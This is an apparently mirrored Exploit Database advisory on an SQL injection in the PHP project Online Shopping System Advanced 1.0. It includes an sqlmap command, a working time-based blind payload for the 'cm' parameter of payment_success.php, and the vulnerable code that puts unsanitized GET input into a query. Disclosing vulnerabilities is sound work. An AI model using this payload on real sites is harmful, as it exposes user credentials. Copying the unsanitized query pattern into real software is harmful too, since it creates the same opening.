Online Shopping System Advanced – Sql Injection

• Exploit Database
• 17 阅读

• 作者： Furkan Gedik
  日期： 2024-02-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51811/

• # Exploit Title: Online Shopping System Advanced
  
  # Date: 07.12.2023
  
  # Exploit Author: Furkan Gedik
  
  # Vendor Homepage: https://github.com/PuneethReddyHC/online-shopping-system-advanced
  
  # Software Link: https://github.com/PuneethReddyHC/online-shopping-system-advanced
  
  # Version: 1.0
  
  # Tested on: [Kali Linux 2020.3]
  
   
  
   
  
   
  
  # Description
  
  Unauthorized access to a database by injecting malicious SQL statements. The SQL injection vulnerability occurs due to the inclusion of the user-provided "cm" parameter in the SQL query without proper filtering or sanitization. An attacker can exploit the vulnerability by injecting malicious SQL code in the "cm" parameter. Successful exploitation of the vulnerability results in the disclosure of sensitive information from the database, such as user credentials, which can be used to gain unauthorized access to the database.
  
   
  
  # PoC
  
   
  
  [+] sqlmap output 
  
  sqlmap.py -u "http://localhost/online-shopping-system-advanced/payment_success.php?st=Completed&cm=1" -p cm --dbms=mysql -technique=T --proxy=http://127.0.0.1:8080
  
   
  
  Parameter: cm (GET)
  
  Type: time-based blind
  
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  
  Payload: st=Completed&cm=1' AND (SELECT 1415 FROM (SELECT(SLEEP(5)))NRHH) AND 'jLpV'='jLpV
  
   
  
  # Vulnerability
  
  https://github.com/PuneethReddyHC/online-shopping-system-advanced/blob/master/payment_success.php#L12-L22
  
  [+] payment_success.php 
  
  if (isset($_GET["st"])) {
   
  
   # code...
  
   $trx_id = $_GET["tx"];
  
  $p_st = $_GET["st"];
  
  $amt = $_GET["amt"];
  
  $cc = $_GET["cc"];
  
  $cm_user_id = $_GET["cm"];
  
  $c_amt = $_COOKIE["ta"];
  
   if ($p_st == "Completed") {
   
  
  include_once("db.php");
  
  $sql = "SELECT p_id,qty FROM cart WHERE user_id = '$cm_user_id'";